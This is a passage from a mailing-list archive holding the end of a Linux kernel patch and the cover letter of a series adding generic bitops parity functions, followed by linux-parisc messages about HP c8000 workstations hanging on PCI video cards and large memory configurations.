 #include <asm-generic/bitops/le.h>
diff --git a/arch/h8300/include/asm/bitops.h b/arch/h8300/include/asm/bitops.h
index 05999ab..e392db2 100644
--- a/arch/h8300/include/asm/bitops.h
+++ b/arch/h8300/include/asm/bitops.h
@@ -172,6 +172,7 @@ static inline unsigned long __ffs(unsigned long word)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/hexagon/include/asm/bitops.h b/arch/hexagon/include/asm/bitops.h
index 5e4a59b..2df614e 100644
--- a/arch/hexagon/include/asm/bitops.h
+++ b/arch/hexagon/include/asm/bitops.h
@@ -290,6 +290,7 @@ static inline unsigned long __fls(unsigned long word)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/m32r/include/asm/bitops.h b/arch/m32r/include/asm/bitops.h
index 86ba2b4..e3cf46b 100644
--- a/arch/m32r/include/asm/bitops.h
+++ b/arch/m32r/include/asm/bitops.h
@@ -259,6 +259,7 @@ static __inline__ int test_and_change_bit(int nr, volatile void * addr)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #endif /* __KERNEL__ */
diff --git a/arch/m68k/include/asm/bitops.h b/arch/m68k/include/asm/bitops.h
index b4a9b0d..fd673ea 100644
--- a/arch/m68k/include/asm/bitops.h
+++ b/arch/m68k/include/asm/bitops.h
@@ -519,6 +519,7 @@ static inline int __fls(int x)
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #endif /* __KERNEL__ */
 
diff --git a/arch/metag/include/asm/bitops.h b/arch/metag/include/asm/bitops.h
index 2671134..ad13087 100644
--- a/arch/metag/include/asm/bitops.h
+++ b/arch/metag/include/asm/bitops.h
@@ -118,6 +118,7 @@ static inline int test_and_change_bit(unsigned int bit,
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
diff --git a/arch/mn10300/include/asm/bitops.h b/arch/mn10300/include/asm/bitops.h
index fe6f8e2..60761b7 100644
--- a/arch/mn10300/include/asm/bitops.h
+++ b/arch/mn10300/include/asm/bitops.h
@@ -225,6 +225,7 @@ int ffs(int x)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
 #include <asm-generic/bitops/le.h>
 
diff --git a/arch/openrisc/include/asm/bitops.h b/arch/openrisc/include/asm/bitops.h
index 3003cda..8c97642 100644
--- a/arch/openrisc/include/asm/bitops.h
+++ b/arch/openrisc/include/asm/bitops.h
@@ -43,6 +43,7 @@
 #include <asm-generic/bitops/sched.h>
 #include <asm/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 
 #include <asm-generic/bitops/atomic.h>
diff --git a/arch/parisc/include/asm/bitops.h b/arch/parisc/include/asm/bitops.h
index 3f9406d..867ba10 100644
--- a/arch/parisc/include/asm/bitops.h
+++ b/arch/parisc/include/asm/bitops.h
@@ -211,6 +211,7 @@ static __inline__ int fls(int x)
 #include <asm-generic/bitops/__fls.h>
 #include <asm-generic/bitops/fls64.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 
diff --git a/arch/s390/include/asm/bitops.h b/arch/s390/include/asm/bitops.h
index 8043f10..198eead 100644
--- a/arch/s390/include/asm/bitops.h
+++ b/arch/s390/include/asm/bitops.h
@@ -460,6 +460,7 @@ static inline int fls(int word)
 #include <asm-generic/bitops/ffz.h>
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
diff --git a/arch/sh/include/asm/bitops.h b/arch/sh/include/asm/bitops.h
index fc8e652..4bf0c35 100644
--- a/arch/sh/include/asm/bitops.h
+++ b/arch/sh/include/asm/bitops.h
@@ -86,6 +86,7 @@ static inline unsigned long ffz(unsigned long word)
 #include <asm-generic/bitops/find.h>
 #include <asm-generic/bitops/ffs.h>
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 #include <asm-generic/bitops/le.h>
diff --git a/arch/xtensa/include/asm/bitops.h b/arch/xtensa/include/asm/bitops.h
index 3f44fa2..981fa83 100644
--- a/arch/xtensa/include/asm/bitops.h
+++ b/arch/xtensa/include/asm/bitops.h
@@ -229,6 +229,7 @@ test_and_change_bit(unsigned int bit, volatile unsigned long *p)
 #include <asm-generic/bitops/ext2-atomic-setbit.h>
 
 #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
 #include <asm-generic/bitops/lock.h>
 #include <asm-generic/bitops/sched.h>
 
-- 
2.5.0

From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: zengzhaoxiu@163.com
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cryptoapi,gmane.linux.kernel.iio,gmane.linux.kernel.input,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.network,gmane.linux.scsi,gmane.linux.serial,gmane.linux.kernel.cross-arch,gmane.linux.nfs
Subject: [PATCH V3 00/29] bitops: add parity functions
Date: Thu, 14 Apr 2016 12:18:40 +0800
Lines: 155
Approved: news@gmane.org
Message-ID: <1460607523-6560-1-git-send-email-zengzhaoxiu@163.com>
References: <1460601525-3822-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1460607596 13380 80.91.229.3 (14 Apr 2016 04:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 04:19:56 +0000 (UTC)
Cc: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
        Hartmut Knaack <knaack.h@gmx.de>,
        Lars-Peter Clausen <lars@metafoo.de>,
        Peter Meerwald <pmeerw@pmeerw.net>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        linux@lists.openrisc.net, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-xtensa@linux-xtensa.org, qat-linux@i
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 14 06:19:43 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aqYko-0006bj-9o
	for sgi-linux-mips@gmane.org; Thu, 14 Apr 2016 06:19:42 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:39308 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27026434AbcDNETjByU3g (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 14 Apr 2016 06:19:39 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 14 Apr 2016 06:19:23 +0200 (CEST)
Original-Received: from [220.181.12.15] ([220.181.12.15]:48116 "EHLO m12-15.163.com"
        rhost-flags-FAIL-FAIL-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27026084AbcDNETVrrkrg (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 14 Apr 2016 06:19:21 +0200
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
        s=s110527; h=From:Subject:Date:Message-Id; bh=zmjvkGCK9cl9dxpbLY
        wgljnqLHp0pzoajC0e68EFGCs=; b=HlUGfZQwJrx7KwFmhL728TZt2urucdv0pn
        Q766dZ87BlT5OJ9lOTqzPPK0cdTfWBYSav9Mw9379PqhjX+Ik3ZTMlQhCT+lS99o
        pcbBdSPKoTpDXb8sDgl72bk14oE440h+Moc25JxGKu11Q35Cr2Q/q+S+l8Ne3Bua
        3XoWlXRv0=
Original-Received: from zhaoxiuzeng-VirtualBox.spreadtrum.com (unknown [112.95.225.98])
        by smtp11 (Coremail) with SMTP id D8CowABXZ+YoGg9Xjd7LAQ--.43225S2;
        Thu, 14 Apr 2016 12:18:54 +0800 (CST)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <1460601525-3822-1-git-send-email-zengzhaoxiu@163.com>
X-CM-TRANSID: D8CowABXZ+YoGg9Xjd7LAQ--.43225S2
X-Coremail-Antispam: 1Uf129KBjvJXoW3XrWDury7Zr4UWrWrCw1Utrb_yoWxXF18pF
        4DCrn5Cry8GryIyFsxtFn29F1ftayrKFWagrya934kA3Z7tryjyFsYkw47Aw1qyanrtr1I
        gFnxurWDW3WvvaUanT9S1TB71UUUUUUqnTZGkaVYY2UrUUUUjbIjqfuFe4nvWSU5nxnvy2
        9KBjDUYxBIdaVFxhVjvjDU0xZFpf9x07jZgAcUUUUU=
X-Originating-IP: [112.95.225.98]
X-CM-SenderInfo: p2hqw6xkdr5xrx6rljoofrz/1tbiGQ5LgFXlSL0f6AAAsu
X-archive-position: 52980
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: zengzhaoxiu@163.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:54141 gmane.linux.kernel:2198404 gmane.linux.ports.alpha:3617 gmane.linux.kernel.arc:899 gmane.linux.ports.arm.kernel:492433 gmane.linux.ports.hexagon:1003 gmane.linux.ports.ia64:26558 gmane.linux.kernel.metag:1053 gmane.linux.ports.openrisc:700 gmane.linux.ports.parisc:26628 gmane.linux.ports.ppc64.devel:125893 gmane.linux.ports.sh.devel:53768 gmane.linux.ports.sparc:22785 gmane.linux.kernel.cryptoapi:19357 gmane.linux.kernel.iio:23142 gmane.linux.kernel.input:48974 gmane.linux.drivers.video-input-infrastructure:101149 gmane.linux.drivers.mtd:66572 gmane.linux.network:408045 gmane.linux.scsi:112931 gmane.linux.serial:22852 gmane.linux.kernel.cross-arch:31564 gmane.linux.nfs:77048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/54141>

From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>

When I do "grep parity -r linux", I found many parity calculations
distributed in many drivers.

This patch series does:
  1. provide generic and architecture-specific parity calculations
  2. remove drivers' local parity calculations, use bitops' parity
     functions instead
  3. replace "hweightN(x) & 1" with "parityN(x)" to improve readability,
     and improve performance on some CPUs that without popcount support

I did not use GCC's __builtin_parity* functions, based on the following reasons:
  1. I don't know where to identify which version of GCC from the beginning
     supported __builtin_parity for the architecture.
  2. For the architecture that doesn't has popcount instruction, GCC instead use
     "call __paritysi2" (__paritydi2 for 64-bits). So if use __builtin_parity, we must
     provide __paritysi2 and __paritydi2 functions for these architectures.
     Additionally, parity4,8,16 might be "__builtin_parity(x & mask)", but the "& mask"
     operation is totally unnecessary.
  3. For the architecture that has popcount instruction, we do the same things.
  4. For powerpc, sparc, and x86, we do runtime patching to use popcount instruction
     if the CPU support.

I have compiled successfully with x86_64_defconfig, i386_defconfig, pseries_defconfig
and sparc64_defconfig.

Changes to v2:
- Add constant PARITY_MAGIC (proposals by Sam Ravnborg)
- Add include/asm-generic/bitops/popc-parity.h (proposals by Chris Metcalf)
- Tile uses popc-parity.h directly
- Mips uses popc-parity.h if has usable __builtin_popcount
- Add few comments in powerpc's and sparc's parity.S
- X86, remove custom calling convention

Changes to v1:
- Add runtime patching for powerpc, sparc, and x86
- Avr32 use grenric parity too
- Fix error in ssfdc's patch, and add commit message
- Don't change the original code composition of drivers/iio/gyro/adxrs450.c
- Directly assignement to phy_cap.parity in drivers/scsi/isci/phy.c

Regards,

=== diffstat ===

Zhaoxiu Zeng (29):
  bitops: add parity functions
  Include generic parity.h in some architectures' bitops.h
  Add alpha-specific parity functions
  Add blackfin-specific parity functions
  Add ia64-specific parity functions
  Tile and MIPS (if has usable __builtin_popcount) use popcount parity
    functions
  Add powerpc-specific parity functions
  Add sparc-specific parity functions
  Add x86-specific parity functions
  sunrpc: use parity8
  mips: use parity functions in cerr-sb1.c
  bch: use parity32
  media: use parity8 in vivid-vbi-gen.c
  media: use parity functions in saa7115
  input: use parity32 in grip_mp
  input: use parity64 in sidewinder
  input: use parity16 in ams_delta_serio
  scsi: use parity32 in isci's phy
  mtd: use parity16 in ssfdc
  mtd: use parity functions in inftlcore
  crypto: use parity functions in qat_hal
  mtd: use parity16 in sm_ftl
  ethernet: use parity8 in sun/niu.c
  input: use parity8 in pcips2
  input: use parity8 in sa1111ps2
  iio: use parity32 in adxrs450
  serial: use parity32 in max3100
  input: use parity8 in elantech
  ethernet: use parity8 in broadcom/tg3.c

 arch/alpha/include/asm/bitops.h              |  27 +++++
 arch/arc/include/asm/bitops.h                |   1 +
 arch/arm/include/asm/bitops.h                |   1 +
 arch/arm64/include/asm/bitops.h              |   1 +
 arch/avr32/include/asm/bitops.h              |   1 +
 arch/blackfin/include/asm/bitops.h           |  31 ++++++
 arch/c6x/include/asm/bitops.h                |   1 +
 arch/cris/include/asm/bitops.h               |   1 +
 arch/frv/include/asm/bitops.h                |   1 +
 arch/h8300/include/asm/bitops.h              |   1 +
 arch/hexagon/include/asm/bitops.h            |   1 +
 arch/ia64/include/asm/bitops.h               |  31 ++++++
 arch/m32r/include/asm/bitops.h               |   1 +
 arch/m68k/include/asm/bitops.h               |   1 +
 arch/metag/include/asm/bitops.h              |   1 +
 arch/mips/include/asm/bitops.h               |   7 ++
 arch/mips/mm/cerr-sb1.c                      |  67 ++++---------
 arch/mn10300/include/asm/bitops.h            |   1 +
 arch/openrisc/include/asm/bitops.h           |   1 +
 arch/parisc/include/asm/bitops.h             |   1 +
 arch/powerpc/include/asm/bitops.h            |  11 +++
 arch/powerpc/lib/Makefile                    |   2 +-
 arch/powerpc/lib/parity_64.S                 | 142 +++++++++++++++++++++++++++
 arch/powerpc/lib/ppc_ksyms.c                 |   5 +
 arch/s390/include/asm/bitops.h               |   1 +
 arch/sh/include/asm/bitops.h                 |   1 +
 arch/sparc/include/asm/bitops_32.h           |   1 +
 arch/sparc/include/asm/bitops_64.h           |  18 ++++
 arch/sparc/kernel/sparc_ksyms_64.c           |   6 ++
 arch/sparc/lib/Makefile                      |   2 +-
 arch/sparc/lib/parity.S                      | 128 ++++++++++++++++++++++++
 arch/tile/include/asm/bitops.h               |   2 +
 arch/x86/include/asm/arch_hweight.h          |   5 +
 arch/x86/include/asm/arch_parity.h           | 117 ++++++++++++++++++++++
 arch/x86/include/asm/bitops.h                |   4 +-
 arch/xtensa/include/asm/bitops.h             |   1 +
 drivers/crypto/qat/qat_common/qat_hal.c      |  32 ++----
 drivers/iio/gyro/adxrs450.c                  |   4 +-
 drivers/input/joystick/grip_mp.c             |  16 +--
 drivers/input/joystick/sidewinder.c          |  24 +----
 drivers/input/mouse/elantech.c               |  10 +-
 drivers/input/mouse/elantech.h               |   1 -
 drivers/input/serio/ams_delta_serio.c        |   8 +-
 drivers/input/serio/pcips2.c                 |   2 +-
 drivers/input/serio/sa1111ps2.c              |   2 +-
 drivers/media/i2c/saa7115.c                  |  17 +---
 drivers/media/platform/vivid/vivid-vbi-gen.c |   9 +-
 drivers/mtd/inftlcore.c                      |  17 +---
 drivers/mtd/sm_ftl.c                         |   5 +-
 drivers/mtd/ssfdc.c                          |  31 ++----
 drivers/net/ethernet/broadcom/tg3.c          |   6 +-
 drivers/net/ethernet/sun/niu.c               |  10 +-
 drivers/scsi/isci/phy.c                      |  15 +--
 drivers/tty/serial/max3100.c                 |   2 +-
 include/asm-generic/bitops.h                 |   1 +
 include/asm-generic/bitops/arch_parity.h     |  39 ++++++++
 include/asm-generic/bitops/const_parity.h    |  36 +++++++
 include/asm-generic/bitops/parity.h          |   7 ++
 include/asm-generic/bitops/popc-parity.h     |  32 ++++++
 include/linux/bitops.h                       |  10 ++
 lib/bch.c                                    |  14 +--
 net/sunrpc/auth_gss/gss_krb5_keys.c          |   6 +-
 62 files changed, 745 insertions(+), 235 deletions(-)
 create mode 100644 arch/powerpc/lib/parity_64.S
 create mode 100644 arch/sparc/lib/parity.S
 create mode 100644 arch/x86/include/asm/arch_parity.h
 create mode 100644 include/asm-generic/bitops/arch_parity.h
 create mode 100644 include/asm-generic/bitops/const_parity.h
 create mode 100644 include/asm-generic/bitops/parity.h
 create mode 100644 include/asm-generic/bitops/popc-parity.h

-- 
2.5.0





From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Thu, 14 Apr 2016 10:14:31 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <CACrbsaBOV3vqbwRp1i2aXA0FqgMGbuw_-9KnudnVjSwo-SW2Xg@mail.gmail.com>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
	<1587186.CtnrnCsSzp@caliban.sf-tec.de>
	<570D38BF.7040307@bell.net>
	<CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com>
	<570E5F69.4010203@bell.net>
	<CAFk90B_oAkq=JD0msjm2ZM2oZWAUd6yqh-XnC1Kk4HKHGOBt0w@mail.gmail.com>
	<4E86DE96-4108-41F1-872C-F7E04075466A@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460621682 28201 80.91.229.3 (14 Apr 2016 08:14:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 08:14:42 +0000 (UTC)
Cc: Graham Gower <graham.gower@gmail.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 10:14:38 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqcQ9-0001qk-TY
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 10:14:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752605AbcDNIOh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Apr 2016 04:14:37 -0400
Original-Received: from mail-io0-f173.google.com ([209.85.223.173]:33691 "EHLO
	mail-io0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750970AbcDNIOc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Apr 2016 04:14:32 -0400
Original-Received: by mail-io0-f173.google.com with SMTP id o126so96606724iod.0
        for <linux-parisc@vger.kernel.org>; Thu, 14 Apr 2016 01:14:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=MJNHUPIKYONEaUzdyGPFqem0gKB4lGyXl/c5U2IaSYE=;
        b=h71t+3tFf4+x0N+1b1tLScOv7qP/jr3mE3qtVpv5UjJscYUctgyvIdB9h25IpaDM8/
         vAXM7lFhOwj4BcScGKLAAR9SCREjroFWs2A4JWiGyRjwm6bcOmEvNKNFumaMWkkQA9b7
         knugMF19ovOrWRLQOviOS2nkkF3a5YGyr6Orx4bOON94e16tgq75o3M6ctBqu+nETBTJ
         SXm/4DcFMA17mPaR0ZhiN/JP+E3fN4j6tGt7WLfLFjuHwM60qIa7CKgqRGEIgqWWk4xK
         yqd7eiVf95yYkF8am0gRuE84xHfRNSDkacUK+gkGd/jXvKrPSvF1Kd8AmP7tjL0gnqHA
         qpNw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=MJNHUPIKYONEaUzdyGPFqem0gKB4lGyXl/c5U2IaSYE=;
        b=fN8Ib3kOWfXH7T7u0iLyl8tmmfLNAIg4sAu5tSyjIU6qnhJz3m5IWs7SoHk5hbjyce
         35Pl9a/6o+czr3rRxuLWHsuJIQDBb50+QNxCecbjkKMI9PdzUZvZ9EJjG3xX7u8/OI+S
         oYzVEG6U1Wmj+EbJKAomEMjTFOSvJDMOIO38ZVWSn8LS6zkmaMp2FlKtJiwzHnjiwrVZ
         U57d3xY5/KvMwFH2YWO6gRvLvwg6TaOMWXfdbjNw8XkodHGAK86MgKaiKeSHmZKjr9yr
         u4AkL5nRvjaFWEm5qlwWQecxd0HZ/sjH1wivrDmt+TPToA8qVWOU9rLmIJ0tmY7guZ8C
         h5tg==
X-Gm-Message-State: AOPr4FVEFkkzO5nkCgLT0jK9stMQC1hKkzPzZjtvD9K6xSbp37K1x+l42dMsTlkdsFph2yyoBBSxyUXx6hdtBA==
X-Received: by 10.107.3.149 with SMTP id e21mr13782324ioi.46.1460621671617;
 Thu, 14 Apr 2016 01:14:31 -0700 (PDT)
Original-Received: by 10.64.86.82 with HTTP; Thu, 14 Apr 2016 01:14:31 -0700 (PDT)
In-Reply-To: <4E86DE96-4108-41F1-872C-F7E04075466A@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26629
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26629>

> Do you know if c8000 can setup any non HP card (e.g., ATI Rage XL)?  It was reported that
> some old cards would work with PDC firmware in unaccelerated fb mode, but c8000 has
> x86 emulator so it might be able to enable accelerated 2d/3d.

Good hint. I have several "vintage" PCI video cards to try (including
ATI RAGE, Vodoo, etc.) but I can't because the have 5V PCI interface.
HP c8000 have several PCI slots BUT PCI 3.3 volt ONLY. Find
"universal" 5V/3V PCI card is possible but the only cards that I have
find (the ATI 9200 128Mega) fails at "BIOS" time (see the first
message of this thread).

I'm accumulating several indirect evidences that the primary source of
the problem is not the video driver (both "radeon" and "nouveau" fail)
or the bus interface (degrading APG to PCI using video driver options
at Linux kernel boot time does not change the final results; the only
PCI video card that I was able to find, if fails at BIOS time).

Indirect evidences point the ZX1 chipset. For instance, on my c8000
with FireGL X1, if I add more than 8G DRAM, Linux boot fails (kernel
panic) during "radeon" loading. If I remove the video card and I use
the workstation as "server" via serial port or Ethernet, I can upgrade
to 16 Giga DRAM (8 x 2GB modules) with zero issue. I will open another
specific thread with the details soon.

Few days ago, I have mismatched the memory modules; the c8000 was able
to start Linux boot but I had a kernel panic during "radeon" loading.

As Helge has already point out, the only debug option is to recompile
the kernel with some "printk" in stategic point, hoping to be able to
find the primary source of this _very_nasty_ issue.

  Simone Mannori - ITALY
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: c8000::kernel hangs with 16G DRAM
Date: Thu, 14 Apr 2016 10:46:01 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <CACrbsaC_FOZ4tG+AmBAtz_Dir+w5XfY9Nc-j-XPqnQkPph+jWQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460623578 26072 80.91.229.3 (14 Apr 2016 08:46:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 08:46:18 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 10:46:18 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqcuh-0002a2-OC
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 10:46:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753035AbcDNIqL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Apr 2016 04:46:11 -0400
Original-Received: from mail-io0-f178.google.com ([209.85.223.178]:34075 "EHLO
	mail-io0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754296AbcDNIqE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Apr 2016 04:46:04 -0400
Original-Received: by mail-io0-f178.google.com with SMTP id 2so97157000ioy.1
        for <linux-parisc@vger.kernel.org>; Thu, 14 Apr 2016 01:46:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to;
        bh=BKl3FyJCqowH2FS8NthqQyw3smz/Ew5xfZxbaa405WE=;
        b=UD+JhS75aKK2TbaKGWEqP2EtNa+oRKyueH7ubwhU6gZPoF7T6Y6CFaxbnq/lmppl2/
         ogkr4KzND50LrjP85KGBa7JAOkprNTvqXFpVIhJKiK7icr2F++dNRsH0mxF1riKtcMd+
         m6B83Z3I8QEvZ+IblXtAvCSdQBIozwKrGoq9HTq6GRwY9FiwucXu0hU+3YG0UeYD0Sqe
         Kv6QRRshpjFSRxVkQXSqMvE/H0a6q2DCsxL0hJ6zfDTcKme1sdkRzGo/czjS1C2GUMzJ
         VRXevhHY1PcmyzXWHO+ztV+EefX88JuBSTFPANSkUVmOG5K2X2YhumLB4lDEZu1QGxQf
         r/hQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:date:message-id:subject:from:to;
        bh=BKl3FyJCqowH2FS8NthqQyw3smz/Ew5xfZxbaa405WE=;
        b=QmONu9TL+qn/IMq7ESJ6PGfhe5HDX2N1xWkzR2AZ6suczVJLb/C97531Osx3bOpamu
